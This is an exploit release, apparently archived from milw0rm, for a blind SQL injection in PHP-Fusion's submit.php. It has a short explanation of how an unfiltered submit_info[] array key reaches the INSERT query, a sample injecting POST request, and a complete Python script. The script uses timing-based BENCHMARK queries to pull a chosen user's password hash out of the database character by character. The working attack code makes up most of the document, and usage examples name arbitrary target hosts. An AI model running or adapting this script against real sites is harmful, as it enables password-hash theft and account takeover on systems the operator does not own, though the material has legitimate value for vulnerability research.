PHP-Fusion 6.01.14 - Blind SQL Injection

#!/usr/bin/python
"""
#=================================================================================================#
#                     ____            __________         __             ____  __                  #
#                    /_   | ____     |__\_____  \  _____/  |_          /_   |/  |_                #
#                     |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\               #
#                     |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  |                 #
#                     |___|___|  /\__|  /______  /\___  >__|            |___||__|                 #
#                              \/\______|      \/     \/                                          #
#=================================================================================================#
#                                     This was a priv8 Exploit                                    #
#=================================================================================================#
#  	           		         PHP-Fusion 6.00.307                                      #
#                                  And Probably All Other Versions                                #
#                                 Blind Sql Injection Vulnerability                               #
#                                         Benchmark Method                                        #
#====================================#===========#====================================#===========#
# Server Configuration Requirements  #           # Some Information                   #           #
#====================================#		 #====================================#           #
#                                                #                                                #
# magic_quotes_gpc = 0                           #  Vendor:   php-fusion.co.uk                    #
#                                                #  Author:   The:Paradox                         #
#================================================#  Severity: Moderately Critical                 #
#                                                #                                                #
#       Oh wow no-content space! Enjoy it!       #  Proud To Be Italian.                          #
#                                                #                                                #
#====================================#===========#================================================#
# Proof Of Concept / Bug Explanation #                                                            #
#====================================#                                                            #
# PHP-Fusion presents a critical vulnerability in submit.php page. Let's see source:   		  #
#=================================================================================================#

[Submit.php]

 1. if ($stype == "l") {                                                                          
 2.												  
 3.	if (isset($_POST['submit_link'])) {							  
 4.
 5.	if ($_POST['link_name'] != "" && $_POST['link_url'] != "" && $_POST['link_description'] != "") {
 6.		$submit_info['link_category'] = stripinput($_POST['link_category']);
 7.		$submit_info['link_name'] = stripinput($_POST['link_name']);
 8.		$submit_info['link_url'] = stripinput($_POST['link_url']);
 9.		$submit_info['link_description'] = stripinput($_POST['link_description']);
10.		$result = dbquery("INSERT INTO ".$db_prefix."submissions (submit_type, submit_user, submit_datestamp, submit_criteria) VALUES ('l', '".$userdata['user_id']."', '".time()."', '".serialize($submit_info)."')");											  
												  
#=================================================================================================#
# Look to the sql query.                                                                          #
# There are two variables: $userdata['user_id'] and a serialized array $submit_info.              #
# The user_id is an intval value and array values link_category, link_name, link_url and          #
# link_description are correctly cleaned via fusions' stripinput() function.                      #
#                                                                                                 #
# All seems pretty cleaned.                                                                       #
# But what would happen if we set another value into submit_info[] array via gpc vars?            #
# It will be set in the serialized array, and obvious it will not checked by stripinput.          #
# Sql Injection possibility!                                                                      #
#                                                                                                 #
# Let's see:                                                                                      #
#                                                                                                 #
# Host: 127.0.0.1                                                                                 #
# POST PHP-Fusion/submit.php?stype=l                                                              #
# link_category=1 link_name=1 link_url=1 link_description=1 submit_info[paradox]=' submit_link=1  #
#                                                                                                 #
# It will result in sql error in case of Mq = 0 :                                                 #
#                                                                                                 #
# You have an error in your SQL syntax; check [...]                                               #
#                                                                                                 #
#=================================================================================================#
# Normally to make this trick working register_globals = 1 is needed, but in php-fusion uses      #
# extract() to simulate register_globals when it is set to 0.                                     #
#=================================================================================================#
# Use this at your own risk. You are responsible for your own deeds.                              #
#=================================================================================================#
#                                      Python Exploit Starts                                      #
#=================================================================================================#
"""

from httplib import HTTPConnection
from urllib import urlencode
from time import time
from sys import exit, argv, stdout
from md5 import new

print """
#=================================================================#
#  	                PHP-Fusion v6.00.307                      #
#                  And Probably All Other Versions                #
#                 Blind Sql Injection Vulnerability               #
#                         Benchmark Method                        #
#                                                                 #
#                     Discovered By The:Paradox                   #
#                                                                 #
# Usage:                                                          #
#  ./fusiown [Target] [Path] [ValidId] [ValidPass] [TargetUserid] #
#                                                                 #
# Example:                                                        #
#  ./fusiown localhost /phpfusion/ 40 s3cr3t 1                    #
#  ./fusiown www.host.org / 791 myp4ssw0rd 1                      #
#=================================================================#
"""

if len(argv)<=5:	exit()
else:   print "[.]Exploit Starting."

prefix = "fusion_" 
benchmark = "230000000" 
vtime = 6 
port = 80

target = argv[1]
path = argv[2]
cuid = argv[3]
cpass = argv[4]
uid = argv[5]

j=1
h4sh = ""
ht = []

for k in range(48,58):  
	ht.append(k)
for k in range(97,103): 
	ht.append(k)
ht.append(0)

def calc_md5(p):
	
	hash = new()
	hash.update(p)
	return hash.hexdigest()


print "[.]Blind Sql Injection Starts.\n\nHash:"
while j <= 32:
	for i in ht:
		if i == 0:	exit('[-]Exploit Failed.\n')
		
		start = time()
		conn = HTTPConnection(target,port)

		inj = "' OR (SELECT IF((ASCII(SUBSTRING(user_password," + str(j) + ",1))=" + str(i) + "),benchmark(" + benchmark + ",CHAR(0)),0) FROM " + prefix + "users WHERE user_id=" + uid + "))# BH > WH"

		conn.request("POST", path + "submit.php?stype=l", urlencode({'link_category': '1', 'link_name': '1', 'link_url': '1', 'link_description': '1', 'submit_link' : 'Submit+Link', 'submit_info[cGd0MQ==]' :  inj }), {"Accept": "text/plain", "Content-Type" : "application/x-www-form-urlencoded","Cookie": "fusion_user=" + cuid + "." + calc_md5(cpass) + ";"})
		response = conn.getresponse()
		read = response.read()		


		if response.status == 404: exit('[-]Error 404. Not Found.')		
		now = time()
		
		if now - start > vtime:
			stdout.write(chr(i))
			stdout.flush()
			h4sh += chr(i)
			j += 1
			break;

print "\n\n[+]All Done.\n-=Paradox Got This One=-"

# milw0rm.com [2008-04-19]